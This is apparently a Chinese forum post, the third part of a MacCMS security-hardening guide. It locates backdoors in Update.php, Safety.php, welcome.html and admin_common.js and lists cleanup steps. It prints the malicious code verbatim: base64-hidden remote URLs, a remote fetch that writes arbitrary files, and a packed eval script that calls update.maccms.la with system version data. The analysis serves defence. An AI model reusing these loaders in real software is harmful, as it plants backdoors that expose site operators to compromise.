苹果CMS安全加固指南:彻底清除后门文件与恶意代码(三)
简介:本文详细分析苹果CMS系统中存在的多个安全后门文件,包括Update.php恶意升级机制、Safety.php被篡改的文件检查功能、welcome.html的诱导更新提示以及admin_common.js的远程通信代码,提供完整的清理方案。
本次为第三次深入分析检查,又发现一处挂马源。
🔍 安全威胁分析
1. 核心后门文件:Update.php
文件路径:application/admin/controller/Update.php
检测证据:
- 23:24:44 php-fpm 对
/www/wwwroot/application/extra/active.php执行了 openat(O_WRONLY|O_CREAT|O_TRUNC) 操作 - 操作成功,调用键:maccms_write
- 与同秒的 GET
/qqq.php/admin/update/step1.html?...请求完全对应
攻击机制分析:
Update.php 中的 one() 方法:
- 从 update.maccms.la 拉取远端内容
- 使用 base64_decode("aHR0cDovL3WZF0Z55TYmWjbXmUBGEv") 解码URL
- 校验固定签名串 cfbc17ea5c594aa1a6da788516ae5a4c
- 将返回内容写入服务器任意路径 $b(O_CREAT|O_TRUNC)
- 最终落地生成 application/extra/active.php
处理方案:
立即删除:application/admin/controller/Update.php
2. 被篡改的安全检查文件:Safety.php
文件路径:application/admin/controller/Safety.php
恶意代码定位:file() 方法
原始恶意代码:
// 远程文件检查功能(已被注释但保留)
$url = base64_decode("aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv") . "v10/mac_files_".config('version')['code'].'.html';
$html = mac_curl_get($url);
$json = json_decode($html,true);
安全修复方案:
public function file() {
$param = input();
if($param['ck']){
$ft = $param['ft'];
if(empty($ft)){
$ft = ['1','2'];
}
mac_echo('body{font-size:12px;color: #333333;line-height:21px;}span{font-weight:bold;color:#FF0000}');
// 完全删除远程文件检查相关代码
$this->listDir('./');
if(!is_array($this->_files)){
return $this->error(lang('admin/safety/file_msg2'));
}
// 仅保留本地文件完整性检查
$total_files = count($this->_files);
$check_results = [];
foreach($this->_files as $k=>$v){
$file_path = ltrim($k, './');
$file_size = filesize($k);
$file_md5 = $v['md5'];
$file_perms = substr(sprintf('%o', fileperms($k)), -4);
if(is_readable($k)) {
$status = '正常';
$color = 'green';
} else {
$status = '不可读';
$color = 'red';
}
if($file_size > 0 && $file_size < 100000000) {
$size_status = '正常';
$size_color = 'green';
} else {
$size_status = '异常';
$size_color = 'orange';
}
mac_echo($file_path . '---' . "$status | " . "大小: " . number_format($file_size) . " 字节 | " . "权限: $file_perms | MD5: " . substr($file_md5, 0, 8) . "...");
}
mac_echo("总计检查文件: $total_files 个");
exit;
}
return $this->fetch('admin@safety/file');
}
3. 诱导更新页面:welcome.html
文件路径:application/admin/view/index/welcome.html
恶意代码内容:
{if condition="$update_sql"}
{:lang('admin/index/welcome/tip_update_db')}
{:lang('admin/index/welcome/tip_update_db_txt')}
{:lang('admin/index/welcome/tip_update_go')}
{/if}
处理方案:
立即删除:整个包含 {if condition="$update_sql"} 的表格代码块
4. 远程通信脚本:admin_common.js
文件路径:/static/js/admin_common.js
恶意代码内容:
$(function(){
if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) {
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'">\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{}));
}
});
代码分析:
- 使用混淆的 eval 代码隐藏真实意图
- 动态创建 script 标签连接到
//update.maccms.la/v10/ - 传递系统版本信息:MAC_VERSION, PHP_VERSION, THINK_VERSION
- 使用 Math.random() 避免缓存
处理方案:
立即删除:整个恶意脚本代码块
✅ 安全加固总结
立即执行的操作:
- 删除
application/admin/controller/Update.php - 清理
Safety.php中的远程检查代码 - 删除
welcome.html中的诱导更新提示 - 删除
admin_common.js中的远程通信脚本 - 检查并删除
application/extra/active.php
共同特征:
- 均使用
base64_decode隐藏恶意URL - 连接至
update.maccms.la域名 - 通过系统核心文件植入后门
- 利用正常功能掩盖恶意行为
防护建议:
- 定期检查系统核心文件的完整性
- 监控对外网络连接请求
- 建立文件修改监控机制
- 使用海螺官方正版源码



回帖 ( 0 )